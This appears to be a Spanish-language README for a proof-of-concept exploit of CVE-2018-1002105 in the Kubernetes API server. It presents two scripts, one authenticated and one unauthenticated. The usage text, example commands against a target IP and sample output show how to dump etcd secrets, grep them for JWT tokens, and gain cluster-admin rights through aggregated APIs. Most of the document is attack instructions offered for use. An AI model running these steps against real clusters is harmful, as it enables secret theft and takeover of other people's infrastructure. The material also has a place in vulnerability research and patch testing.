
Prueba de concepto de exploit para CVE-2018-1002105 dirigido al servidor de API de Kubernetes. Admite escalada de privilegios autenticada y no autenticada para volcar secretos u obtener derechos de cluster-admin mediante los métodos exec, portforward o attach.
Exploit de prueba de concepto para CVE-2018-1002105. El exploit actual requiere privilegios create y get en pods y pods/exec. Se ha añadido soporte para portforward y attach, que requieren permisos similares.
El PoC actual vuelca los secretos del pod etcd-kubernetes por defecto.
El PoC en acción:
usage: poc.py [-h] --target TARGET --jwt TOKEN [--namespace NAMESPACE] --pod
POD --method {exec,portforward,attach}
[--privileged-namespace PNAMESPACE] [--privileged-pod PPOD]
[--container CONTAINER] [--command COMMAND]
[--filename FILENAME]
PoC for CVE-2018-1002105.
optional arguments:
-h, --help show this help message and exit
required arguments:
--target TARGET, -t TARGET
API server target:port
--jwt TOKEN, -j TOKEN
JWT token for service account
--namespace NAMESPACE, -n NAMESPACE
Namespace with method access
--pod POD, -p POD Pod with method access
--method {exec,portforward,attach}, -m {exec,portforward,attach}
optional arguments:
--privileged-namespace PNAMESPACE, -s PNAMESPACE
Target namespace
--privileged-pod PPOD, -e PPOD
Target privileged pod
--container CONTAINER, -c CONTAINER
Target container
--command COMMAND, -x COMMAND
Command to execute
--filename FILENAME, -f FILENAME
File to save output to
Ejemplo:
$ ./poc.py -t 10.0.2.15:6443 --jwt [token] -p [pod] -f etcd.out -m attach
[*] Building pipe using attach...
[+] Pipe opened :D
[*] Attempting code exec on etcd-kubernetes/etcd
[*] Writing output to etcd.out ....
[+] Done!
Comprueba los tokens:
$ grep -air eyJ etcd.db
El PoC no autenticado permite la escalada de privilegios en el contexto de la API expuesta. Dependiendo de las funcionalidades de la API, podría ser posible obtener ejecución de código en los pods. Esta demostración actualmente explota el error para obtener derechos de cluster-admin en la API servicecatalog.k8s.io. Este exploit también debería funcionar para metrics.k8s.io o cualquier API expuesta a través de la capa agregada.
El PoC en acción:
usage: unauth_poc.py [-h] --target TARGET [--api-base BASE]
[--api-target TARGET_API] [--api-version VERSION]
[--json] [--filename FILENAME]
Unauthenticated PoC for CVE-2018-1002105
optional arguments:
-h, --help show this help message and exit
required arguments:
--target TARGET, -t TARGET
API server target:port
--api-base BASE, -b BASE
Target API name i.e. "servicecatalog.k8s.io"
--api-target TARGET_API, -u TARGET_API
API to access i.e. "clusterservicebrokers"
optional arguments:
--api-version VERSION, -a VERSION
API version to use i.e. "v1beta1"
--json, -j Print json output
--filename FILENAME, -f FILENAME
File to save output to
Ejemplo:
$ ./unauth_poc.py -t 10.0.2.15:6443 --json -f api.out
[*] Building pipe ...
[+] Pipe opened :D
[*] Attempting to access url
[+] Pipe opened :D
[*] Writing output to api.out ....
[+] Done!